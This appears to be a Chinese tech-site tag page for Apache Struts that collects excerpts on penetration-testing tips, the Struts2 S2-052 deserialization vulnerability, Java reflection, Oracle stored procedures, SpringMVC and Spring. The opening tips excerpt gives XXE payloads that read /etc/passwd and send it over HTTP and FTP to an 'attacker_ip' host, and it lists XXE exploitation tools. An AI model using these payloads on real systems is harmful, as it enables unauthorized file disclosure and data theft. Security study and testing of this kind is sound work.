Apache Struts

渗透测试人员注意!这几个小TIPS能帮你

Deadly 提交于 2021-02-18 16:41:24
扫码领资料 获黑客教程 免费&进群 转乌云安全 这里 记录渗透测试中常见的小Tips。 关于XXE漏洞的一些总结 XXE Payload: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker_ip:port/xxe.dtd"> <foo>&e1;</foo> xxe.dtd: File Exfiltration over HTTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker_ip:port/res?%p1;'>"> %p2; File Exfiltration over FTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'ftp://attacker_ip:port/%p1;'>"> %p2; 利用工具: xxe-ftp-server.rb XXEinjector XXESERV – A mini webserver with FTP support for XXE payloads OXML_XXE – A tool for embedding XXE

Apache Struts2-052 漏洞分析预警

安稳与你 提交于 2021-02-17 00:09:15
0x00 漏洞描述 The REST Plugin is using a XStreamHandler with an instance of XStream for deserialization without any type filtering and this can lead to Remote Code Execution when deserializing XML payloads. -- Apache Struts 官方安全通告(参考1) 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。 Struts2启用了rest-plugin后并编写并设置了`XStreamHandler`后,可以导致远程命令执行这一严重问题。 0x01 漏洞影响面 1、影响面 确定CVE-2017-9805为高危漏洞。 实际场景中存在一定局限性,需要满足一定条件,非struts本身默认开启的组件。 2、影响版本 Version 2

java怎样将一组对象传入Oracle存储过程

故事扮演 提交于 2021-02-13 21:51:14
注:本文来源 《 java怎样将一组对象传入Oracle存储过程 》 java怎样将一组对象传入Oracle存储过程 java怎样将一组对象传入Oracle存储过程。须要注意的是jar包是有要求的,假设使用不当会导致仅仅有数字能传过去,字符串传只是去。 假设是Oracle11g则须要选用例如以下的jar包,F:\app\Administrator\product\11.2.0\dbhome_1\jlib\orai18n.jar、D:\program\weblogic\oracle_common\modules\oracle.jdbc_11.2.0\ojdbc6.jar 1:存储过程 1 CREATE OR REPLACE TYPE TEST_OBJECT AS OBJECT 2 ( 3 id number, 4 name varchar 2(32) 5 ); 6 CREATE OR REPLACE TYPE TABLES_ARRAY AS VARRAY(100) OF TEST_OBJECT; 7 drop table test purge; 8 create table test 9 ( 10 id number, 11 name varchar 2(32) 12 ); 13 create or replace procedure t_list_to_p(arr_t in

【java基础】从反射开始(Reflection)

你说的曾经没有我的故事 提交于 2021-02-12 04:44:18
Java学习笔记 https://github.com/SnailDev/java-learning 和我一起启程... 反射(Reflection) 定义 在运行状态中, 对于任意的一个类,都能够知道这个类的所有属性和方法; 对于任意的一个对象,都能够调用他的任意一个方法和属性; 这种动态获取类的信息以及动态调用对象的方法的功能称做Java的反射机制。 功能 只要给定类的全名,即可获取类的所用信息; 运行时获取任意一个对象所属的类对象; 运行时获取类中所有属性对象,可对其操作(包含私有属性); 运行时获取类中、父类中所有方法,可对其调用。 应用 目前主流的应用框架如Struts2、Hibernate、Spring、SpringMVC等的核心全部都是利用Java的反射机制来实现的。 组成 Class Constructor Field Method 类的类型(Class) 常用方法 getName() 获得类中完整名称 getDeclaredFields() 获取类中所有属性(含私有) getDeclaredMethods() 获取类中所有方法(含私有) getConstructors() 获取类的构造方法(不含私有) newInstance() 实例化类的对象(类的构造方法中参数需为空) 获取Class对象的方式 利用Class类forName(

解决 struts2 报"There is no Action mapped for namespace / and action name"的问题

会有一股神秘感。 提交于 2021-02-10 07:41:57
解决 struts2 报"There is no Action mapped for namespace / and action name"的问题 参考文章: (1)解决 struts2 报"There is no Action mapped for namespace / and action name"的问题 (2)https://www.cnblogs.com/zhang01010/p/8075121.html 备忘一下。 来源: oschina 链接: https://my.oschina.net/u/4438370/blog/4951789

2021最新 SpringMVC面试题精选(附刷题小程序)

一笑奈何 提交于 2021-01-30 19:13:04
推荐使用小程序阅读 为了能让您更加方便的阅读 本文所有的面试题目均已整理至小程序《 面试手册 》 可以通过微信扫描(或长按)下图的二维码享受更好的阅读体验! [toc] 1. Spring MVC基础 1.1 什么是Spring MVC? Spring MVC是一个基于Java的实现了MVC设计模式的请求驱动类型的轻量级Web框架,通过把模型-视图-控制器分离,将web层进行职责解耦,把复杂的web应用分成逻辑清晰的几部分,简化开发,减少出错,方便组内开发人员之间的配合。 1.2 Spring MVC的优点有那些? 可以支持各种视图技术,而不仅仅局限于JSP; 与Spring框架集成(如IoC容器、AOP等); 清晰的角色分配: 前端控制器(dispatcherServlet) ; 请求到处理器映射(handlerMapping); 处理器适配器(HandlerAdapter); 视图解析器(ViewResolver)。 支持各种请求资源的映射策略。 1.3 Spring MVC的主要组件? DispatcherServlet: 中央控制器,把请求给转发到具体的控制类 Controller: 具体处理请求的控制器 HandlerMapping: 映射处理器,负责映射中央处理器转发给controller时的映射策略 ModelAndView: 服务层返回的数据和视图层的封装类

Java常用第三方库大全

牧云@^-^@ 提交于 2021-01-21 11:14:14
一、JAVA核心扩展   JAVA的标准库虽然提供了那些最基本的数据类型操作方法,但仍然对一些常见的需求场景,缺少实用的工具类。而另一些则是JAVA标准库本身不够完善,需要第三方库去加以补充的。   1、Apache Commons Lang   Apache Commons Lang是Apache最著名的JAVA库 (GitHub上的代码库),它是对java.lang的很好扩展,包含了大量非常实用的工具类,其中用的最多的有StringUtils,DateUtils,NumberUtils等。   除了Apache Commons Lang,还有一些其他的Apache库也是对JAVA本身的很好补充,如Apache Commons Collection,Apache Commons IO,Apache Commons Math   2、Google Cuava   Google Cuava包含了Google在自己的JAVA项目中所使用的一些核心JAVA库。包含了对:集合,缓存,并发库,字符串处理, I/O等各个方面的支持。另外Google开发的库总是以性能著称。   3、Joda-Time   Java SE 8之前的JAVA版本中对日期的支持是比较差的,Joda-Time被经常被使用来替换原有的日期系统,它能够支持更多的日历体系,并提供了很多非常方便的日期处理方法

Spring和SpringMvc详细讲解

懵懂的女人 提交于 2021-01-09 12:30:56
转载自:https://www.cnblogs.com/doudouxiaoye/p/5693399.html 1. 为什么使用Spring ? 1). 方便解耦,简化开发 通过Spring提供的IoC容器,可以将对象之间的依赖关系交由Spring进行控制,避免硬编码所造成的过度程序耦合。 2). AOP编程的支持 通过Spring提供的AOP功能,方便进行面向切面的编程,如性能监测、事务管理、日志记录等。 3). 声明式事务的支持 4). 方便集成各种优秀框架 5). 降低Java EE API的使用难度 如对JDBC,JavaMail,远程调用等提供了简便封装 2. 什么是IoC,为什使用IoC ? IoC全称Iversion of Controller,控制反转。 这概念是说你不用创建对象,而只需要描述它如何被创建。 你不在代码里直接组装你的组件和服务,但是要在配置文件里描述哪些组件需要哪些服务,之后一个容器(IOC容器)负责把他们组装起来。 它能指导我们如何设计出松耦合、更优良的程序。 3. 什么是AOP,为什么使用AOP ? AOP全称:Aspect-Oriented Programming,面向切面编程。 AOP,面向切面编程,就是把可重用的功能提取出来,然后将这些通用功能在合适的时候织入到应用程序中,比如 事务管理 、 权限控制 、 日志记录 、性能统计等。

Java学习视频教程一网打尽

≯℡__Kan透↙ 提交于 2021-01-07 04:59:36
戳上面的蓝字可以关注我哦! 前言 对于自学Java的初学者来说,一定会非常希望有个大神带你一步一步由浅入深系统的学习Java知识,绕过所有的坑,那么跟着视频教程学肯定是最好的途径了。 本文汇总java开发中使用的优质视频教程,此外,本文还将持续汇总更新Java学习的各种视频教程, 有需要的同学可以关注公众号,或者转发至朋友圈收藏一下。 希望对你在学习Java的道路上有所帮助。 1 Java基础视频教程 本套视频可谓目前同类视频中代码量最大、案例最多、实战性最强的Java基础视频。本教程注重技术原理剖析,同时全程贯穿代码实战,用实践驱动理论,所有知识点的讲解都围绕实际案例展开,并配有相应的代码练习。 获取地址 链接:http://pan.baidu.com/s/1dFCK7uD 密码:nsjx 2 jQuery视频教程 jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(或JavaScript框架)。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。 获取地址 链接:http://pan.baidu.com/s/1b6mYn0

Spring框架

末鹿安然 提交于 2020-12-27 00:25:02
Spring框架自2002年诞生以来一直备受开发者青睐,它包括SpringMVC、SpringBoot、Spring Cloud、Spring Cloud Dataflow等解决方案。有人亲切的称之为:Spring 全家桶。 很多研发人员把spring看作心目中最好的java项目,没有之一。所以这是重点也是难点,工作中必须会,面试时肯定考。 那么,不妨花费10分钟,梳理Spring框架相关知识。 Spring知识点-汇总 spring系列包含非常多的项目,可以满足java开发中的方方面面。 先来看常用框架的知识点汇总,如图: 一、5个常用的spring框架 ▌1.spring framework 也就是我们经常说的spring框架,包括了ioc依赖注入,Context上下文、bean管理、springmvc等众多功能模块,其它spring项目比如spring boot也会依赖spring框架。 ▌2.spring boot 它的目标是简化Spring应用和服务的创建、开发与部署,简化了配置文件,使用嵌入式web服务器,含有诸多开箱即用的微服务功能,可以和spring cloud联合部署。 Spring Boot的核心思想是约定大于配置,应用只需要很少的配置即可,简化了应用开发模式。 ▌3.Spring Data 是一个数据访问及操作的工具集,封装了多种数据源的操作能力,包括